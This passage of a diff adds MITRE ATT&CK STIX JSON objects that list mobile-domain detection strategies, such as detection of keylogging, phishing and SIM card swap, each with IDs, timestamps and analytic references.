"x-mitre-detection-strategy--19522fac-bfd0-4e94-9d75-a61eacbef7c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0705", + "external_id": "DET0705" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Input Capture", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9b036696-9e1e-42b9-9bfd-3ae785e7e10e", + "x-mitre-analytic--7179bc7d-a2be-4ded-8c4f-88ec8f73e613" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--12a7802a-b0c2-4823-b03d-e59b2c4bc4de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0612", + "external_id": "DET0612" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Input Injection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dda0e909-cceb-40eb-bff0-6bd0cd74e638" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2627c9c4-0241-41b7-b494-657cc58d4611", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0708", + "external_id": "DET0708" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Internet Connection Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4708044d-651a-40c7-a1b2-6d7f13d17d7d", + "x-mitre-analytic--0d358eda-4f7e-462e-8201-96d8a661001d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b44bea1e-fc01-4c6b-b7c4-dcb0135de936", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0664", + "external_id": "DET0664" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Keychain", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b2ef244c-b230-4c2b-b0a6-070e5c376f32" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f15826e8-4aa6-497e-bf9f-16c3724bfe72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0661", + "external_id": "DET0661" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Keylogging", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8c29fa0f-6b35-40c2-9c99-081a0997db86", + "x-mitre-analytic--7f8717e8-fea8-42db-b60c-c64375630685" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--effced27-7981-400b-9f22-e3c28144258f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0716", + "external_id": "DET0716" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Linked Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--42ce5243-8859-49dc-b221-2674536063ff", + "x-mitre-analytic--758e4b0e-3564-4696-8d57-9e3d81198d52" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ac9d1b33-cfba-415e-aef2-c4c0b359ed5f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0675", + "external_id": "DET0675" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Location Tracking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--83b759ca-097c-4d9f-926b-fb41e0740644", + "x-mitre-analytic--f34fef81-f714-4e26-ae99-3c970959cd0d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--338779e6-0413-43e3-bfc8-71064a27ebeb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0645", + "external_id": "DET0645" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Lockscreen Bypass", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--52a370ec-dca2-45e0-bba7-7384816945e8", + "x-mitre-analytic--81a49b9b-c8cf-438c-bea0-e09149f50b34" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d314d955-a323-4e87-a8e5-317b0b8ed203", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0715", + "external_id": "DET0715" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Masquerading", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b6d679b6-0777-4541-874c-d81f37d8fb07", + "x-mitre-analytic--ff9c219a-b8e7-4b0a-8ea5-4f81341375d1" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--91b70fb4-8e86-4dd2-a988-33d64cc46d4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0609", + "external_id": "DET0609" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Match Legitimate Name or Location", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8f5e4bee-0677-41dd-89ad-8a467ae08eec", + "x-mitre-analytic--155b0dfd-15d5-45bd-a8c4-249adc52f20d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--10403bf9-7ba1-427a-9320-b4069d2c2eff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0717", + "external_id": "DET0717" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Native API", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4ec34db8-7214-4059-925e-bdcd58bca391" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--86f11b86-e189-47f1-8436-e46c7f0a4a69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0639", + "external_id": "DET0639" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Network Denial of Service", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--bfbe9c72-f373-4d03-a08a-1448f31dd92f", + "x-mitre-analytic--1e8d1470-1e76-4f6f-b2c9-633800c4478a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--070d40c8-1aad-47e4-93d7-05e0362f437b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0696", + "external_id": "DET0696" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Network Service Scanning", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f420e242-1e51-4d1a-b063-b15240283e1f", + "x-mitre-analytic--9eeb7425-6979-4f77-aa7c-f9b0fe6b710e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7a921c8c-fdc6-4526-aba6-2632360b7f0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0706", + "external_id": "DET0706" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Non-Standard Port", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b6ef77d6-cc8b-478c-b7f8-7767bbb58960", + "x-mitre-analytic--7c96d701-391d-4904-b6ba-941344aaf059" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7c507410-2dc7-4159-88ec-b2228547ae67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0720", + "external_id": "DET0720" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Obfuscated Files or Information", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--6fb4668b-9c70-44d2-87a3-43ff2dc699f2", + "x-mitre-analytic--739bd746-e98b-45cb-8bc6-3c8876745b4a" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3ec475a9-b33f-42b3-a1b1-755b5fa9389b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0610", + "external_id": "DET0610" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of One-Way Communication", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ddebe043-2017-44ba-96e5-cbe87916511b", + "x-mitre-analytic--dec6e0d3-f4ae-48ed-90b9-ee32fd7e8dc6" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d9ca9fb7-01dd-465c-86a1-a48b6812b1c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0688", + "external_id": "DET0688" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Out of Band Data", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f1e295df-0598-4263-b7c4-737d66660bbe", + "x-mitre-analytic--3d12c26c-740d-4393-9659-52a424586b20" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0546176b-5ea4-407d-acb7-382b55c7e883", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0684", + "external_id": "DET0684" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Phishing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cd82f432-ee4e-4df0-8500-e381b36479ec", + "x-mitre-analytic--07b782b2-7e86-424a-9395-0a862d9b25c3" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7a9d4531-4ff8-4228-8abd-29da8bd2942f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0598", + "external_id": "DET0598" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Prevent Application Removal", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--23a1b062-847e-4912-8e5e-5b69867af4a4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0e600ee5-de14-46f8-ada2-c0aee4ce969e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0692", + "external_id": "DET0692" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Process Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5c5225c4-2d35-431e-830d-ea1cc649c6ba", + "x-mitre-analytic--5d07c07e-4cde-41b9-a03e-94be43ca9bb8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b76b67bc-d38b-4b63-a0d0-ebfc7f829db6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0632", + "external_id": "DET0632" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Process Injection", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--63e33566-c46c-45b8-acf1-247327b827e1", + "x-mitre-analytic--166d394c-6d24-46d3-866e-4f57ca849e90" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--48e300f8-190e-46fa-a56d-8701f7a152d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0681", + "external_id": "DET0681" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Protected User Data", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--99227275-37f5-400f-95ae-b5e17abfb0fd", + "x-mitre-analytic--72604d06-ac1b-4d57-adb4-f303f2f82055" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--973a4da0-af9c-4d57-ab62-21fbc308f8b3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0631", + "external_id": "DET0631" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Proxy Through Victim", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cb78ff0f-6f8a-41a8-a199-4660a0addec9" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--63b2446e-fa01-4440-bcd6-0f8505d630a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0622", + "external_id": "DET0622" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Ptrace System Calls", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--50a9f608-68aa-4bf2-b24d-2a22f2a96db4", + "x-mitre-analytic--76cb5e62-9291-411d-90bf-57642b63f8b8" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--c2155dfa-140f-4da9-bfe8-61481a9693c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0624", + "external_id": "DET0624" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Remote Access Software", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--4d499685-2a71-4d66-8b44-fae780c3e998", + "x-mitre-analytic--a180ad2e-e3fa-4cec-a1f0-8baf754d9543" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--62779c6a-e43b-4ea8-be38-f40191338089", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0702", + "external_id": "DET0702" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Remote Device Management Services", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--40066e48-f70c-4fbb-a2cf-d7a385171edb", + "x-mitre-analytic--6e3a93db-d2a6-43b7-9aa6-4dcf972f5e53" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3b8a3713-0f0a-433c-82bd-13b2f9224206", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0691", + "external_id": "DET0691" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of Replication Through Removable Media", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a69cefd7-02e8-4840-a26e-2ea0b6a95812", + "x-mitre-analytic--a8133527-5402-49e0-a9f1-14ee4fb2dd3f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--59e56dc2-725e-4f55-ab2c-154dbe42bc4d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0658", + "external_id": "DET0658" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection of SIM Card Swap", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--085c9205-d55a-4e33-a5df-241e505be32f", + "x-mitre-analytic--4ce71d01-ba3b-4ed2-a615-766daa0ff144" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "mobile-attack" + ], + 